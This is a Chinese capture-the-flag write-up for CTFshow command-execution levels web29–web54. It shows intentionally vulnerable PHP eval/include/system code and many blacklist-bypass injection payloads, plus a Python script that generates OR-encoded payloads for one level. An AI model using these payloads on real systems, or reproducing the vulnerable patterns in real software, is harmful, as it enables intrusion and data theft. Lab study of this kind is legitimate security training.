【CTFshow】命令执行web29-web54

命令执行web29-web54

    • web29
    • web30
    • web31
    • web32-36
    • web37
    • web38
    • web39
    • web40
    • web41
    • web42
    • web43
    • web44-49
    • web50
    • web51
    • web52
    • web53
    • web54

web29

源码

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

eval函数,把GET方法获取的变量c内容,当做命令去执行
过滤了flag关键字,不区分大小写
构造payload:

?c=system("tac fla?.php");
?c=system("tac fla''g.php");
?c=system("tac fla\g.php");//cat同理
?c=echo `nl fl''ag.php`;//要打开源代码查看
?c=eval($_GET[1]);&1=system('cat flag.php');

web30


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

过滤了flag,system,php
构造payload:

?c=`cp fla?.??? 1.txt`;//再打开1.txt即可
?c=passthru('tac f*');
?c=echo `tac *`;
?c=echo  exec('nl fl?g.???');
?c=echo  shell_exec('nl fl?g.???');//此函数与反引号异曲同工
?c=passthru("nl fl''ag.ph''p");//各种通配符的使用
?c=eval($_GET[1]);&1=system('cat flag.php');

web31


error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
?>

过滤了flag,system,php,cat,sort,shell,.(点),(空格),’(单引号)
可以用$IFS$9(要加转义字符),%09绕过
构造payload:

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));//预期
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=print_r(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");//等价于system(),说明双引号会自动解析
?c=echo`strings%09f*`;//在对象文件或二进制文件中查找可打印的字符串
?c=echo`strings\$IFS\$9f*`//必须加转义字符
?c=passthru("nl%09`ls`");//空格%09绕过
?c=eval($_GET[1]);&1=system('cat flag.php');//还是可以

web32-36



error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,.(点),(空格),’(单引号),`(反引号),echo,;(分号),((左括号)
构造payload:php伪协议

使用了文件包含的方法,来变相的读取任意文件

php://filter是一个比过滤器,这里通过base64编码的一个过滤器来读取flag.php

这种过滤器也就是一种伪协议,通过一个指定的通道来读取某个文件或资源,filter/表示的是指定的通道,base64-encode表示这个通道的名字是base64

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
或者POST?c=include$_POST[a]?>

post:a=php://filter/read=convert.base64-encode/resource=flag.php

web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
        
}else{
    highlight_file(__FILE__);
}

变量c不是直接执行GET传入的c了,而是用include包含了c这个filename。可以用data伪协议来将后面的字符串当作php代码来执行——>任意代码执行
构造payload:

?c=data://text/plain,

web38

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了php和file,那就用执行的代码换成短标签形式。
或者直接用base64的形式传入命令绕过
构造payload:

?c=data://text/plain,
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=

web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

把c和.php拼接了起来,能不能访问到flag.php呢?
因为在短标签里面进行了一个?> 标签闭合了,所以不会受到php的影响,相当于没拼接

构造payload:

?c=data://text/plain,
?c=data://text/plain;base64, PD9waHAgaW5jbHVkZSgnZmxhZy5waHAnKTtlY2hvICRmbGFnPz4=

web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
} 
  • eval语句执行命令,但过滤了许多东西,没有过滤掉英文的()

1.打印当前路径下文件的函数:print_r(scandir(’.’)),查看当前路径的文件

很明显单引号和小数点已经过滤了,这里要先办法绕过

最简单的方法是利用函数传参,那就找当前能用包含小数点的函数

 localeconv() 返回一包含本地数字及货币格式信息的数组

效果:
【CTFshow】命令执行web29-web54_第1张图片所以我们就可以打印出目录文件了
思路就是构造:print_r(scandir(localeconv()[0]))
但是这个函数是不能localeconv()[0]这样返回的,而且方括号也被过滤了,那么就要用到别的函数:

1.current() 函数返回数组中的当前元素(单元),默认取第一个值,

2.pos()current() ,current()的别名

3.reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

这里三个函数都可以用

因此打印当前目录:

?c=print_r(scandir(reset(localeconv())));

得到:
【CTFshow】命令执行web29-web54_第2张图片
接下来如何来获取到第[2]个flag.php

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位,并输出
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

经过测试,不能嵌套使用next,next来访问到,也不能先end再prev,只能将数组反过来然后next,就刚好可以到flag.php的目录
构造payload:

?c=show_source(next(array_reverse(scandir(reset(localeconv())))));

总结函数:

getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串

get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取他的值payload:var_dump(current(get_defined_vars()));

session_id()session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。
    如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,即传入?exp=eval(hex2bin(session_id(session_start())));     并设置cookie:PHPSESSID=706870696e666f28293b
    session_start 函数是为了开启session
    
配合使用的函数:
	print_r(scandir(.)); 查看当前目录下的所有文件名
    var_dump()
	localeconv() 函数返回一包含本地数字及货币格式信息的数组。
	current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
	each() 返回数组中当前的键/值对并将数组指针向前移动一步
	end() 将数组的内部指针指向最后一个单元
	next() 将数组中的内部指针向前移动一位
	prev() 将数组中的内部指针倒回一位
	array_reverse() 以相反的元素顺序返回数组

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}

绕过思路:把数字和字母都给过滤了,这里的思路是构造system(“ls”),但是字母被过滤。没有过滤“|”,利用它构造。
脚本:

import re
import requests

url="http://7b9f8ed3-7e91-4936-8ae5-555861e99707.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

mya="system"  #函数名 这里修改!
myb="tac flag.php"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

改动url直接运行即可。

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

$c参数后面接了个>/dev/null 2>&1

0   标准输入
1   标准输出
2   错误输出
在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功)
区别:
2>/dev/null   把错误输出到空设备(即丢弃)
>/dev/null 2>&1   相当于1>/dev/null 2>&1   即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
2>&1 >/dev/null   错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃

重定向>>>   前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.

可以用;或||等进行分割,如?c=ls&&pwd. 执行的时候会将ls给执行而丢弃pwd命令
构造payload:

?c=tac flag.php||ls

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了分号和cat
可继续用payload

?c=tac flag.php||ls

web44-49

过滤flag
过滤空格
过滤了数字 $ *
过滤了more less head sort tail

; cat flag   [0-9]  $  * more less head sort tail sed cut awk strings od curl  `  %

多过滤了个百分号

以上的万能payload:

?c=tac%09fla?.???||ls
?c=nl%09fla?.???||ls
nl<fla''g.php||

web50

过滤了\x09和\x26
于是想到用<>,但是发现<>和?组合的时候没有输出,于是将上面payload改一下就可以了
构造payload:

?c=tac<>fl\ag.php||ls
?c=nl<fla''g.php||

web51

过滤了tac,但是在web31的时候讲过,另外同cat功能的函数还有:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
构造payload:

?c=nl<>fl\ag.php||ls
?c=nl<fla''g.php||

web52

过滤了<>,小问题用${IFS}
构造payload:

?c=nl${IFS}fl\ag.php||ls

没有flag
?c=ls${IFS}/||ls发现flag在根目录
构造payload:

?c=nl${IFS}/fl\ag||ls

/代表根目录,后面接fl\ag的\是通配符

web53

没什么变化,原理是一样的

?c=nl${IFS}fl\ag.php||ls

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这次的有点离谱了
用rev函数:

?c=rev${IFS}fla?.php

你可能感兴趣的:(CTFshow,php,安全,web安全)